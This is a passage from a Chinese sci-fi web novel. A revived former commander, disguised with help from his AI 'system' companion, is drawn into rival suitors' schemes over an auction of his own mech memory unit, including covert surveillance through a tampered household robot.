“大手笔。”他点评,“我还是不明白,拍品里有我想的那个东西吗?”
他用手比划了一个圆弧的形状。
异兽卵。
即使当年异兽几乎将整个人类种族残害殆尽,仍然有许多猎奇且富有的人渴望将其豢养,余逢春不是第一次知道有人卖这个东西。
[不是。]
0166干脆否认。[我检查过,没有。]
“那可奇怪了。”余逢春继续往后翻,“没道理啊……”
尾音消弥在新的一页。
余逢春盯着系统检测文件上的一块黑乎乎的东西
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沉默不语,细看好像是在愣神。
“……这是什么?”
许久后他问道。
0166很快就辨别出来。[存储器,看规制应当是CG型号机甲上的,具体哪个没有标注。]
系统在检测飞行器的时候也没有找到特别的信息,但很值得注意的一点是,这枚存储器被很用心很谨慎地保护着,突破它的保险装置废了0166很大功夫。
等给出自己的回答以后,0166才意识到余逢春的情况不太对劲。
他仍然沉默着,但心跳频率告诉0166,对这个问题,余逢春有自己的答案。
“……我猜是CG6型机甲上的存储器。”
许久之后,余逢春开口。
他的姿势几乎没有变过,整个人像一尊未经雕刻的石像,疲惫地僵立在原地,嗓音也跟着经历风吹日晒,变得沙哑无力。
“是我的那块存储器。”
所以这就是为什么拍卖会要开在坦尾星,又为什么当年咬着牙说再也不会来到联盟的何所行会来参加。
因为拍卖会的最终拍品是在战后逃离中意外身亡的甲级战犯余逢春的存储器,也是世界上仅存的唯一一块带有余逢春基因密码的存储器。
其价值不可估量。
余逢春这下真的不能离开坦尾星了。
*
*
*
敲门声响起时,余逢春刚洗了把脸,让自己清醒过来。
现在不是慌的时候,既然举办拍卖会的人敢把他的存储器抬上来,那就说明他们还没有试着强行突破存储器的几重密码。
只要基因密码没有暴露,余逢春就有翻盘的可能。
不管是后续将存储器拍走还是直接销毁,都很有操作空间。
但现在的关键点在于怎么靠近存储器。
余逢春需要一个翘板。
外面的敲门声,刚好把翘板送过来。
打开门,余逢春瞧到外面站着数名衣着统一、身材结实的男人,气势很足,为首的那个略纤瘦些,看着文质彬彬,但眼角眉稍中透露出几分难以掩盖的匪气。
是星盗。
一帮人这么光明正大地堵在人家门口,很有压迫感,似乎下一秒就会踹门杀人。
“有事吗?”余逢春藏在门后,小心翼翼地问,像个怕事的年轻人。
他没有错过为首那个男人在看清他的脸以后露出的惊讶神色。
“是的,有点事,”男人点点头,问,“你叫什么名字?”
余逢春:“……”
他不太想回答,但就在他犹豫的那几秒钟里,男人貌似不经心地往旁边侧侧身,刚好让余逢春看清身后几人怀里的脉冲枪。
“我叫江秋。”他果断说,“刚来这里没几天,我就是去那儿看看,没有别的意思……”
解释的话语被男人抬起的手打断。
“我不是为这个来找你的,江……先生,”他盯着余逢春的脸,表情似笑非笑,带着点很莫名的戏谑和居高临下,“我的老板很喜欢你,想和你聊聊,可以吗?”
余逢春又往后退了一步。
他的老板是何所行,应该是刚才在拍卖会外面的时候,余逢春没注意,被何所行看到了。
何所行那双眼,只要瞥一眼就不会忘记。是余逢春大意了。
如今眼前这个男人,余逢春也认识,他是何所行的副手,在捕鲸者里干了许多年。
他嘴里问可不可以,但实际上根本就不接受拒绝,如果余逢春说不,下一秒就会被打晕,然后强行带上车。
“系统。”
0166会意:[面容修改组件已启动,请宿主把握时间,及时缴费。]
斟酌的目光在门外的每一个人身上晃悠,终于,藏在门里那个面容熟悉的年轻男人点了点头。
“我跟你们走。”
屏蔽感官,上车,一番移动,等光亮再次降临,余逢春已经站在了一处格外豪奢的房间里,悠扬乐声从房间角落传来,鼻腔回荡着清甜的香气,轻巧地盖过了不久前发生在这里的□□痕迹。
一个刚披好浴袍的女人,赤脚从余逢春旁边经过,肩膀擦过他的手臂,留下一抹无论如何也盖不去的爱欲气息。
这是坦尾星人一辈子也触碰不到的富贵奢靡。
感官恢复的眩晕让人站不住脚,踉跄几步后余逢春才真正站稳,也是在这时,他看清了眼前。
已经注视他许久的男人大马金刀地坐在沙发上,身上散发着欲望得到满足的餍足,上身衬衫解开两粒扣子,露出棕色的精壮胸膛。
他的目光是饥饿的,仿佛饿了很长时间,从余逢春刚进门便一直牢牢锁在他身上,将他从头打量到脚,评估的神色逐渐转为满意,好像看到一件瑕疵品有了超出寻常的发挥。
余逢春难以自制地后退两步。
仿佛在这一刻找到了最后一块的拼图,男人笑了。
“江秋,是吧?”男人的相貌是一种带着粗犷的英俊,他示意手边的空位,“坐。”
4. 邵逾白
余逢春瞅着何所行腿边的那一小块空位沉思,估摸着那小点地方连正常人的屁股都放不下,真想坐的话,估计得半个身子倚在旁边人身上。
——这是一个别有用心的动作,透着点心甘情愿的勾引。
而余逢春完全没有勾引何所行的心思。
于是在男人侵略的目光下,余逢春假装犹豫几秒,然后慢腾腾地坐到了对面的沙发上,中间隔了百八十里地。
何所行不怒反笑。
“怕我?”他问。
余逢春点点头。
“有什么好怕的,这里是联盟,你们不最讲究什么公平正义吗?我还能在这儿杀了你吗?”
话是这么说,可何所行的表情却好像在说只要他愿意,他随时可以。
余逢春恨不得缩进沙发里面。
而这时,何所行开启了新的话题。
“你昨天,去那里干什么?”他问道,“原地站了那么久,一个劲儿往里看……”
话音颇有深意地顿住,何所行满意地看到余逢春开始坐立不安。细瘦的手指攥在一起,给衣服都抓出褶皱,他低着头,看不清脸,因此更像那个人。
何所行不喜欢他这副畏缩的样子,他应该更强硬、更倔强,威胁他的人必须要自己先断掉两根指头,才能把手指向他。
但天下事没有十全十美。
“我真的没有别的意思,我就是好奇,想看看在干什么,后来他们赶人我就赶紧跑了……”
余逢春的辩解传进何所行耳朵里,是一堆废话。
他当然不是故意的,何所行分辨得出什么人想搅局,什么人只是无心路过,今天这事儿落到平头百姓身上就是无妄之灾,要怪只能怪余逢春倒霉,偏偏让何所行看见。
“我不关心这个。”他抬手打断余逢春喋喋不休地嘟囔,□□上的满足让他多了几分耐心,“想进去看看吗?”
余逢春顿住了,抬头愣愣地注视着何所行的眼睛,又很快避开。
0166:[想。]
刚才还想着要找跳板,现在跳板就自己蹦过来了。
“我——”
他嗫嚅着想找出条逃生之路,可话刚吐出一个字,何所行就不容拒绝地说:“我可以带你进去看,但你得回报我点儿东西。”
“……什么?”
“如果未来几天你能让我感到满意的话,我可以带你进去瞧瞧,后面也可以带你走,留在这种破地方不好受吧?”何所行说出第一个选择。
0166反应超快,向余逢春宣布:[他想睡你。]
完全没有超出余逢春的预料。
这不是他第一次接收到何所行想睡他的信号,以前有过许多次,但余逢春都将其划进挑衅和犯贱的范畴,他真没想到何所行一个贱能犯这么多年。
“……”
清瘦的男人听到何所行的话,当即呆住了,黑亮的眼睛瞪大,泛着不可置信的水光,好像很无助。
“这位先生,”片刻之后,余逢春慢慢开口,“我不是那种人。”
“啊,你不是。”何所行重复他的话,没生气,“那你可以选第二个。”
“第二个是什么?”
何所行说:“第二个是你陪我几天,我同样带你进拍卖会,等我离开坦尾星,会给你一笔钱,之后你爱去哪儿去哪儿。”
这个“陪”就和选项一不一样了,余逢春静静等了一会儿,意识到没有选项三。
何所行压根儿没想让他直接离开。
要么陪睡,要么陪吃陪喝。
余逢春疯了才选选项一。
“那您有什么要求呢?”他很识时务地问,像个毕业后好不容易找到工作的大学生,坦诚直率中夹带着一点不得已的谄媚。
“我没什么好衣服,也不太懂高级的东西,或者您想要我有什么样的表现?”
何所行隔着百八十里打量他的神色动作。
他心里其实有一套余逢春的行为模板,关于那个刻薄刁钻的男人什么时候做什么事,说什么话,在面对他的时候又会做出怎么样的表现,但这些不能说出口。
难不成何所行要亲自教这个刚认识没两天的男人怎么对自己不苟言笑、敬而远之?
何所行做不到。
他这辈子只不要脸过一回,还被人当垃圾似的扔出去,何所行发誓以后不会再有了。
“你就……”他斟酌一下,“话少点,别那么害怕,衣服我让人送到你家去。”
余逢春不懂但还是点头,接着何所行挥挥手,之前把他带来的男人推门进来,又把他带了出去。
一路无言,余逢春是不知道说什么,而那个男人则是心情很糟。
余逢春大概知道为什么。
[你有多大把握进去以后就能毁掉存储器?]0166问,[其实留着也未必会造成什么影响。]
现在已经不是战争年代,余逢春就算真的复活,也不会搅起另一场战争。
他们目前担心的是有人会将获取后的基因密码传输到星网,这样余逢春以后的处处行动都会受限,但试想一下,又有几个人会真心觉得死去的人能再度复活呢?
余逢春摇摇头。
“我不是担心这个。”他说,“我是奇怪,为什么有人费那么大的劲去打捞我的存储器。”
当年余逢春逃得有多远,只有他自己心里清楚,他压根就没有想着活着回去,因此自爆的时候半点活路都没留,这件事不光他知道,邵逾白他们也知道。
所以从来没有人去做这种无用功。
但今天,一个藏在暗处的人却突然把余逢春那块甚至可能都不存在的存储器找了出来。
求财?或许。
其他目的?肯定也有。
余逢春担心的是这个。
耗费这么多时间精力,就为了把他的旧相识聚到一起——
“不用担心,你不会死的。”身旁的男人忽然说。
余逢春从思索中惊醒,眨眨眼,小声道:“我不怕。”
男人不理会他的话语,继续道:“老大只是想让你演个人,过过瘾,等拍卖会结束就放你走。”
这话说的很有意思,一般人在听到他这么说以后一定会问——
“演谁?”
男人抽空看了他一眼,蔑视的目光转瞬即逝,人看猫看狗时就是这样。
“一个贱人。”他说。轻描淡写。
被骂了的余逢春只能当不知道,呐呐应了声,不说话了。
男人也沉默下去,刚才暴露出来的零星恶意都被他咽回喉咙。他明白自己失态了,幸亏旁边的底层人胆子小,不敢多说话,否则怎么死的都难说。
回到庇护所,余逢春对着镜子擦干净脸上的脂肪。
曾经属于余逢春的面部特征被抹去大半,江秋的脸在系统的调整程序下诞生,两张面孔粗看相似,但细看却差距很大。
余逢春不担心被发现。
“邵逾白会来吗?”他问0166。
0166:[我觉得会,担心被发现?]
“怎么可能。”
余逢春对自己的调整很有信心,六年前的余逢春和六年后的完全是两个人,不光是相貌的改变,性格差异也非常大。
当年邵逾白与他同进同出数年,形影不离,彼此是什么脾气都心知肚明。
余逢春不觉得邵逾白会追究他的死,邵逾白大概也不会看见一个身形很像的人,就猜他是余逢春。
那太疯了。
……
第二天一早,余逢春在家门口收到了好几套做工精细的衣服,规格不算复杂,但用料很舒服,是他以前会喜欢的风格。
被监禁的时候,余逢春能掌控的东西不多,衣服算是其中一个,他不大喜欢那些硬挺的军装,穿上的感觉好像从一个牢笼走进一个更小的牢笼。
何所行用心了。
走进房间之前,余逢春问:“你能别录像吗?”
[不要,我从没见过自己扮自己,]0166按下录像键,反应在余逢春脑子里就是第一声,[绝妙的素材,我必须得录下来。]
这系统写书写疯了。
摇摇头,余逢春走进房间,进门的一瞬间装作不适应地调整袖口。
接下来的整整两天,给余逢春的感觉就仿佛按着剧本演戏。
何所行真的在很认真地想将他代入余逢春的角色,他弄来两本余逢春会喜欢的书,午餐晚餐也是战争是的军方供应餐,他很少要求余逢春说话,总是看着他。
他的眼神很熟悉,余逢春见过许多次。
“我明白了。”
在第三天的上午,余逢春照旧坐在窗户边看书,很无聊的时候就和0166聊天。
[明白什么?]
0166好像从余逢春自己扮自己的戏码中找到了灵感,这几天一直在写东西,和他聊天也是漫不经心,有一句没一句。
“他喜欢我。”余逢春说。
[何所行?]
“对。”
[恭喜你。]0166说,[所以你要更改选项吗?]
“不,”余逢春果断拒绝,“我们没可能。”
具体是哪方面没可能,他没细说,大概是每个方面都没可能。
何所行不是忠贞的人,他可以一边爱余逢春,一边和别人上床,他的爱和欲是分开的。
不干净。
房间里除了余逢春和何所行之外,那个男人也在,此时他正给何所行汇报什么东西,低沉的声音在耳边回响,加上阳光晒
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在身上很舒服,气氛很适合睡觉。
余逢春合上书,头抵在窗户上,马上就要睡过去。
一阵激烈的敲门声驱散睡意。
来人是何所行的手下之一,当时威胁余逢春的人里就有他在,只是这一次他的脸上再没有了胸有成竹的平淡,反而显得焦虑不安。
“来了,”他喘着粗气道,“来了。”
谁来了?
余逢春条件反射看向何所行,却发现何所行并不意外。示意身边人合拢文件后道:
“请他进来。”
与此同时,0166停止它的创作,声音是难得的严肃。
[检测到主角:邵逾白,正在朝宿主靠近。]
邵逾白来了。
————————————
联盟军队的军服仿照了古地球的基本规格,军靴前端采用特殊材料进行加重,脚步落地时发出的声音要更清晰,显得从容不迫。
邵逾白进门以后不过半秒钟,就注意到了坐在窗边的余逢春。
扫视的神色出现瞬间凝滞,又在看清余逢春的相貌后回归平稳,取而代之的是不明显的隐怒。
“像不像?”一直关注他的何所行开口,得意道,“偶然碰到的——你也收到请柬了?”
邵逾白没理会前一句话,只问:“你来做什么?”
手下关上房门,房间里只剩下他们三个。
邵逾白是自己来的,没带手下,但这并不意味着随便什么人就能对他动手。余逢春自己调教的军队自己心里清楚,一旦谈话出现了大问题,他们随时可能轰开房间把人带走。
何所行笑笑:“你来干什么,我就来干什么。”
“没必要,”邵逾白道,“我会带走的。”
“这可跟你说没一点儿关系,”何所行又笑,坐在椅子上一动不动,“老情人的存储器,还是我拿着比较合适,你说呢?”
0166:[他也是给自己要上名分了。]
“他不喜欢你。”邵逾白一句话正中要害,“存储器里很有可能有他的基因密码,落到别有用心的人手里会有很大麻烦,我保管是最好的。”
他不如就直接说何所行别有用心。
余逢春将暗含欣赏的目光投到邵逾白的脸上。多年不见,会说话了。
何所行终于有点生气了。
“你这是怎么回事?”他问,“当狗当久了,人死了还是站不起来?”
邵逾白微微一笑:“如果你把克隆一个复制体当成站起来的第一步的话,我没什么意见。”
何所行的脸色有刹那间的扭曲。
“话不能这么说。”他招手叫余逢春过来。
余逢春迟疑两秒,缓缓起身,走到何所行身边,与邵逾白双目对视。
望向余逢春时,邵逾白的眼睛在光下闪着一层幽深的墨蓝色,六年光阴蹉跎,只给他的英俊添上成熟的韵脚,身量修长挺拔,仍然是一副很好的皮囊。
何所行没注意到半秒钟内发生的事,问邵逾白:“像不像?”
邵逾白:“体态有些类似。”
“这已经是我能找到的最好的了。”何所行说,“但还是不够好,更好的正藏在一个黑色方块里。”
“他不会原谅你的。”
“他爱原谅不原谅,好像我求着他似的。”
邵逾白短暂挪开盯着余逢春看个不停的眼睛,目光定定地落在何所行身上,片刻后,他摇摇头。
“还有别的势力想要存储器,我手底下的人没查出举办拍卖会的到底是谁。”
话题的突然转变,让何所行蓬勃升起的怒气有了熄灭的意思。
“我也没查到,”他顺着台阶往下走,“负责人咬死了,一句话都不肯说。”
递完台阶以后,邵逾白又开始死盯着余逢春,目光专注宁静,不住地在他身上寻觅着。
余逢春很不自在,总觉得他的眼神是要把自己全身摸索检查一遍。
对一个旧日相识的复制品,用得着这么专注吗?
听见何所行说话,邵逾白也只短暂抬了抬眸,并没有投之太多关注,绝大多数注意力仍然在余逢春身上,语气平淡。
“你用刑了?”
何所行否认:“没,打死太招摇了。”
几乎是同一时间,余逢春和邵逾白都松了口气。
之后的谈话,大概是不方便外人听,何所行叫人把余逢春送回去。
一听说能走,余逢春走得超快,大概只比逃命慢了一点,仿佛是在躲避什么。
他是低着头走的,细碎的短发盖不住耳廓泛起的潮红。
然而直到他踏出门的那一瞬间,余逢春都能感觉到邵逾白的目光。
看得那么久,那么深,让人心里发慌。
5. 冒牌货
在飞行器上,余逢春让系统探测一下这颗星球上还有没有他的老熟人。
见到邵逾白以后不过半秒钟,系统的任务功能就得到全面解锁,余逢春正式从半身不遂升级成一瘸一拐。
几天前那个连探测拍品都需要余逢春走近再走近的系统就此重生,探测结束后它告诉余鹏春,这颗星球上想杀他的人数比例正在上升。
[就仿佛身处猛兽遍布的黑暗丛林中,柔弱洁白的猎物只能恐惧地蜷缩起来。]0166评价。
余逢春被它的形容酸得牙齿发软:“你什么时候会说这种酸话了?”
[我的读者都很喜欢,认为这样有人类风情。]
余逢春:……
“你以后被禁止写书了。”他宣布。
0166才不听他的。
把检测出来的“老熟人”按地区排序后,余逢春翻了一圈,发现联盟派来许多人,各自隶属不同的势力,境外帝国也派了代表,有几个在开战时见过,都不是什么好东西。
当然了,余逢春也没觉得自己很好。
所以这是一场坏东西开会。
邵逾白可能是里面相对比较好的一个,开会的时候得坐在第一排。
余逢春被自己想象中的开会现场逗笑了。
轻笑声冲破车厢内沉闷的空气,坐在前面的男人听到声音回头望去,刚好看到余逢春对着窗外浅笑的一幕。
他姿态闲适,眉目隐在光晕的渲染中,只留下一层温暖柔软的浅白,笑意似水一般化开,是钢铁丛林中很难得的温和俊俏。
一个刻薄冷淡,怨恨一切的囚徒,骤然露出这样的神色,是很让人动心的。
有匪君子,如切如磋,如琢如磨。
一瞬间,男人好像真的在这个冒牌货身上看到了旧人的影子。
但很快,余逢春察觉到自己的失态,笑意隐去,恐惧占据上风,刹那间,熟悉的皮囊也让人食之无味。
余逢春从来都不会害怕,他只是恨,每一束短暂瞥来的目光中都夹带着愤怒的挣动和无力的迷茫,恨得越深,就越艳丽。
这种颜色往后再也不会有了。
男人无趣地回过头去,觉得自己真是疯了。
*
*
*
开门的时候,余逢春和0166提起了一个自己的小发现。
“邵逾白和何所行比我想象中要熟。”他说,踏进房子,“或许我死后他们还有交流。”
在余逢春的记忆里,何所行和邵逾白一直不太对。
何所行是星盗出身,行事一向放荡不羁,暂时编入军方后也不安分。
他觉得余逢春好看,和其他板正无趣的军人不一样,有事没事便喜欢凑上来聊骚几句,数次邀请他上床体验人生乐趣。
是个很烦人的家伙。
而邵逾白和他恰恰相反,军人世家出身,性格一丝不苟,不常笑,行为处事都恪守规则,一生只违反过一次纪律。
他守在余逢春前后左右的时候像一堵墙,既挡住了余逢春,也隔绝了外界。
在余逢春的印象中,这两人天生磁场对立,别说朋友了,能当一对和平相处的陌生人都很难得。
现在居然能心平气和的交流这么多。
“我一死就这么好了?”他抱怨,“我是挡着他们成朋友了吗?”
嘟囔着锁上门,还没来得及换鞋,余逢春就听见房子里面传来一阵滴滴摸摸的响声。
怎么回事?
往里走走,一路上余逢春注意到地毯上没来得及收拾的包装袋已经被打扫干净了,空气中飘荡着淡淡清香,轻快乐声缓缓传起,舒缓心神。
看清室内发生了什么后,余逢春倚在墙边不做反应,只把脱下来的衣服扔在脚边地毯上,然后默默等待。
没几秒钟,一个破破烂烂的小机器人就播着歌走了过来,两只机械爪子擦得锃亮,挑起衣服,挂在架子上。
余逢春笑了。
“这不是个检测机器人吗?”他和0166说,“什么时候也干起家政机器人的工作了?”
0166不答,片刻后道:[这台机器人被人从外部激活了。]
余逢春闻言挑眉,抬脚挡住机器人的路,蹲下身,撬开前壳,摸索了一下内部装置。
是正常开启的,好像没什么不对。
但余逢春胜就胜在脑子里有个超出当今时代科技的外挂。
[它的基础程序被改了。]0166在自己的领域里找到莫大的自信,[多了通讯设置,直线连接到另一处,你现在的一举一动都在被直播。]
余逢春并不觉得意外。
表面上,他仍做出好奇探索的神色,手动给小机器人转了个圈,过程中留意到它的履带也被人仔细修理过,尽管仍然破破烂烂,但已经不妨碍前进。
“你觉得这是谁干的?”
[何所行。]0166很确定,[你现在在他身边,如果是我,我也会安排相关来确定你真的没有威胁。]
余逢春笑了。
他摇摇头,语气比0166还肯定。
“是邵逾白。”他说。“何所行不会这么明目张胆。”
政府用来辅助清理探查的机器人,忽然摇身一变,开始洗衣做饭,打扫地板,瞎子都能看出不对,更何况余逢春还记得这个机器人捡回来的时候都破烂成什么样子,而现在虽然还是不大美观,但能走能唱,已经非常健康了。
如果按照系统的推测,何所行或者他手下的人想确定余逢春有没有威胁,他不会选这么直白的方法来试探。
而邵逾白……
邵逾白大概没想掩饰自己的目的。
松手放机器人离开,余逢春若有所思地盯着光洁一新的地板发呆,0166忍不住问道:[你的意思是主角认出你来了?]
才见一面而已,怎么可能?0166很难相信。
余逢春回过神来,摇摇头。
“应该不至于,只是觉得很奇怪,想试探一下吧。”他道。
捡回来的机器人大变样,普通人会困惑,但不会有太大的反应,至多把它丢出去,当没有过这个东西。
可换做余逢春,进门第一眼就能看出其中古怪,那么接下来他会怎么做,就很有意思了。
是想继续藏下去,像个普通人一样惊慌失措,还是索性破罐子破摔,直截了当地和邵逾白面对面?
——我知道你认出我了,我不在乎,想看就看吧。
余逢春没想过见面第一天,邵逾白就给他这么个大惊喜。
说到底还是见面时,他有所疏漏,让邵逾白看出了不对。
“我到底哪里做的不好?”他向0166求证,自言自语,“我做的很符合江秋人设呀!”
0166也不知道为什么,只能将其总结为主角精神有问题,毕竟世界坍塌有他的大功劳在。
邵逾白只是表面看着正常,内里说不定早就疯了。
余逢春对他的恶意揣测不做任何评价。
原地躺了一会儿后,他慢悠悠地站起身,当着机器人的面,一边解扣子脱衣服,一边随地乱扔,赤裸着上身走进浴室。
全然不在意自己满身的伤疤被看个仔细。
那一身的伤疤好像在问邵逾白:
你觉得我是他吗?
你敢确定我是他吗?
……
……
……
机器传递来的影像里,洁白细瘦的脊背仿佛一层落在平滑石面上的月光,泛着昂贵皎洁的光亮,在视线拐角转瞬即逝。
而在美感之外,是那一条条一道道的疤痕却格外突兀,毫不留情地将那矜贵的美感破坏殆尽,于是月光下,废墟涌现,弥漫着刺鼻的硝烟味道。
军部文件通过加密系统传到邵逾白的个人光脑上。
此时光脑平放在桌面,文件投影自动悬浮,伴随着阅读进度翻页。
邵逾白站在桌前,偶尔将几分注意力放在文件上,停留时间不过几秒钟,又快速移开,并没有多关系。
绝大多数时间里,他都在看机器传来的、已空无一人的实时影像。
余逢春身上的伤疤还烙印在他眼中。
那些伤疤是斩灭美丽的罪魁祸首,是邵逾白的怪兽,是人间地狱的小小一角。
十二年前,邵逾白第一次见余逢春。
相识的记忆并没有随着时光流逝变得模糊,恰恰相反,那里的每一秒钟都伴着千万次的回忆琢磨,逐渐深刻,面目全非。
被多日监禁折腾太久,进门时过于强烈的光照,几乎要将他的骨头都照出来,邵逾白已经到了两个小时,等得身边人都要按耐不住发脾气,那人才姗姗来迟。
“他是你日后的副官,姓邵。”领他进来的那人介绍道。
邵逾白起身敬礼。
“我是邵逾白。”
邵逾白背光站在他面前,恰好帮他挡住那一层刺目的光。
柔柔的阴影铺洒在一张苍白清秀的脸上,余逢春定定看
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了他许久。
“我叫余逢春。”他说。
这个早在今日之前,便将自己凶悍名声传遍联盟上下的指挥官,对着邵逾白露出一抹极为和缓的笑。
这抹笑使人很难联想起他曾为了摧毁一座异族战舰,牺牲万人舰队,征战之路上遍布同胞的尸骨。
他站在那里,像个教书先生。
……
余逢春死去第一年,邵逾白只记得余逢春看到他的时候笑了。
等到了第四年,邵逾白想起那时的余逢春很瘦,带他来的每个人都携带着轻型拘捕武器。
而当第六年来临,邵逾白终于意识到,余逢春对着他笑的时候,右手一直牢牢盖住左手手腕,他也不是在笑。那双黑润的眼中,藏着很深的恨。
像一只无论如何都逃不出囚笼的鸟。
邵逾白就是那个拿钥匙的人。
可惜这一切明白得太晚,而那时的他,他们,都是困在笼子里的鸟。
他们的相遇很贫瘠,寥寥几句,彼此都没多少真心。
后来相处久了,余逢春又重新介绍了自己的名字。
“我叫余逢春。”
余逢春坐在自己办公室的桌子上,手指不住地拨弄着手腕上的圆环。“可能是因为,春天来了,一切都会好起来了。”
他说得漫不经心,邵逾白在他身后,透过倒影能看到余逢春头发上的行星碎屑。
邵逾白一句话都没说。
当两个人一天的平均相处时间超过23小时时,沉默会成为很体贴很合适的交流方式。
邵逾白不说话,余逢春也不要求他的回应。
只是后来,大约是第六年,邵逾白忽然在一个雨夜想起了那段话。
他慢慢琢磨出一些别的意味。
他和余逢春,他们相遇在凛冽的雪夜,按照地球历法,应该是个冬天。
寒冬凛凛,长夜漫漫,余逢春口中的春日迟迟不来,所以他们注定不会有一个好结局。
嗡鸣声再次响起。
邵逾白从回忆中挣脱,看到实时影像里,浴室的门打开了。
滚滚白雾涌进房间,一道若隐若现的人影出现在影像中,看他的姿势,好像即没穿衣服,也没围浴巾。
邵逾白眸色一闪,显得更暗,默默看着。
人影逐渐清晰,一条同样遍布伤疤的长腿迈步浴室,线条流畅修长,只在大腿处显出几分丰腴——果然什么都没穿。
雾气散得更快,水声滴滴答答,藏在后面的白皙皮肤已依稀可见,而就在余逢春将要完□□露在屏幕上的前一秒,邵逾白猛地抬手,挥灭了影像。
房间里恢复安静。
半小时前打开的文件到现在还保持原样,邵逾白深吸一口气,盯着空无一物的桌面看了许久,才终于恢复精神,快速审阅文件,解决了堆积已久的工作。
等工作结束,他用内部通讯联系上守在余逢春住所附近的第七军。
【将军。】
邵逾白手指悬在光脑上,从心里计算过时间后才下定决心,点开实时录像。
余逢春已经穿上裤子了,谢天谢地。但上衣还没穿。这就很坏了。
头发上没擦干的水珠顺着后背线条滴在沙发上,邵逾白注视着那滴水珠,直到它被布料吸干。
【取消对江秋的窃听和监控,】他道,【实时结果只连接我的个人光脑。】
这道命令来得突如其来,通讯那头沉默片刻,道:【明白!那需要我们撤离吗?】
【不用,继续。】
通讯挂断,余逢春终于穿上上衣。
邵逾白松了口气,这时才发现从刚才开始,自己就一直皱着眉。
这时,副官很凑巧地敲门进来。
“上将,”他站在门口,手里还拿着刚才的通讯记录,“境外帝国的阿鲁卡将军想和您聊聊。”
邵逾白抬眸:“聊什么?”
“拍卖会相关,”副官道,“他们希望您手下留情。”
想要余逢春那艘机甲的存储器的人不止何所行和邵逾白,千里迢迢来到这颗星球的人还有很多。
邵逾白笑了一下,目光柔和,不住地流连在影像中那个已经睡在沙发上的人身上。
应该盖条毯子的。他想。
笑完以后,他后靠在椅子上,这些天里头一次放松下来。
“告诉他们,”他说,“我不会让的,身后人不管身前事,但坦尾星不能出现任何违反联盟条例的行为,不然我不会留情。”
6. 拍卖会
拍卖会来临那天,余逢春很早就被何所行派来的人接走。
知道邵逾白会参加拍卖,余逢春的紧张情绪缓解不少,打算着如果邵逾白买不起,他再出手。
0166适时道:[我做过财产评估,他买不起的概率很低。]
“这可太棒了。”余逢春换鞋出门,小机器人勤勤恳恳地跟在他身后拖地,“我就指着他了。”
今天来接他的人里并没有常常见到的星盗副手,但其他人很熟悉,余逢春坐在自己最喜欢的位置上,吩咐0166给他放一集动画片。
“我想看黄色海绵的那个。”他说,“还有章鱼和海星。”
0166不想放。它觉得这种低质动画片简直污染数据,它要陪着余逢春在所有任务里再走一遍已经很痛苦了,要是数据流再被污染了,那真是无药可救。
[我给你念念我写的书吧。]它提议,[我卖的最好的一本是第三卷,还有人出过金句剪辑。]
“类似于纯白猎物的那种金句?”余逢春果断拒绝,“那我宁愿看黄色海绵。”
[你迟早有一天把脑子看傻。]0166诅咒他。
余逢春不回嘴,任由这可怜的小系统以为自己占据上风。
爽了的系统满足他的要求,屏幕上一条鱼开始说话,余逢春在飞行器上安安静静地看完两集动画片。
如今的拍卖会现场与余逢春那日看到的相比,无论是完整程度还是安保措施,都不可同日而语。
肉眼可以分辨的高度合金材料仅仅用于铺垫建筑外层,目前人类科技无法模拟的行星碎屑被大量运用在建筑外层,流金色的圆环似水一般流动,既是装饰也是防护。
余逢春仅往外看了一眼,便辨别出许多熟悉的保全风格。
飞行器停在专属泊位上,开门之前,前排的一个男人侧过身子。
“老大会在包厢等你。”他说,“你现在可以考虑一下要多少报酬了。”
余逢春愣愣点头,把心神从海绵宝宝上收回来。“意思是等拍卖会结束我就可以离开吗?”
前排男人闻言笑了一下,神色是熟悉的轻蔑,看余逢春的眼神像是在看个可以随手捏死的玩意儿。
“不然呢?”他反问,“你不会真以为还能跟着走吧?”
在他的话语下,余逢春不自觉地瑟缩着。
“……我没这么想。”他低声说,快速开门下车。
已经有专门负责接引的人在泊位连接上升渠道的审查点等待了。
“江秋先生是吗?”女人问道,微笑弧度异常刻板,有一种被机器修饰过的美。
余逢春点点头。
“请跟我来。”女人向前一步,领着余逢春走入上升渠道。
片刻光晕流转,他们来到一处大门紧闭的包厢门口。
女人在稍远处停下。
“邵先生已经在等您了,”她说,整洁的衣服带着点修身效果,鞠躬时显得身材格外曼妙,“有任何需要都请联系我。”
但余逢春的注意力完全没在女人身上,此时此刻,他被女人口中的三个字给震住了。
“……谁?”他不可置信地问。
女人仍然保持完美微笑。“邵先生。”
“我觉得你们可能搞错了。”余逢春挣扎道,“我是跟一名姓何的先生一起来的。”
“我们的统计系统不会有错的。”女人的笑像是凿在脸上,“您确实应该和邵先生在一个包间。”
余逢春:“……”
0166:[我知道这个情节——可怜无助的小白花被自己的渣男金主送给合作伙伴,之后会有很多的虐身虐心。]
闻言,余逢春麻木地:“你以后真的被禁止看小说了。”
眼看反抗无效,大概是邵逾白与何所行私底下做了什么交易,毕竟在那个脑子长合金的星盗头子看来,余逢春只是个有点儿像的复制品,性格还很对不上,看着玩玩可以,没必要太用心。
邵逾白问他要,他就给了。给的时候,心里大概还有点狗终于站起来的欣慰和你没有多真心的暗爽。
拍卖会即将开始,过渡渠道上的亮光正随着走廊内呼吸的变动改变颜色,透过窗户可以看到漂浮在外面的行星碎屑正被控制着改变方向,逐渐形成更稳固的防护层。
余逢春不想杵在原地当柱子,原地蹦跳两下提振精神,然后毫不犹豫地推门进去。
邵逾白和他的几个手下已经在包间里等着了,听到门被打开,邵逾白还没什么反应,数名手下的眼睛已经直直朝门看来,很有压迫力。
骤一开门就被这么盯着审视,余逢春停在门口,进也不是退也不是,很无助地缩在原地,有种随时都会逃跑的慌乱。
“那个……”他很小声地开口,“我应该跟着何先生的,里面是不是有什么误会?”
“没有误会。”邵逾白说。
他挥手示意手下该干什么干什么,随后自己走到余逢春面前,赶在他退缩之前抬手合上门,将余逢春困在自己和墙面之间。
余逢春不矮,放在普通人中是很优越的身高,但偏偏经常在他身边晃悠的那几个都高得离谱,以至于他时常被显得娇小。
邵逾白的阴影投在他身上,余逢春勉强往后退了一步,后背紧紧抵在墙上,不知道他想干什么。
总不至于在这关头逼他变回原样子吧,那多尴尬……余逢春真的不想知道,要是在这关头被人识破伪装,那会是多么惊心动魄的场面,坦尾星都会被炸烂一半——
在他胡思乱想之际,一只手轻轻落在他的肩膀上。
余逢春抬起头,看不透邵逾白的表情,但落在他肩上的那只手轻轻往旁边扯了一下,形成一个隐秘的暗语。
余逢春动作比脑子快,脑子还没来得及下令制止,身体便很自觉地顺着动作,让邵逾白帮他把外套脱了下来。
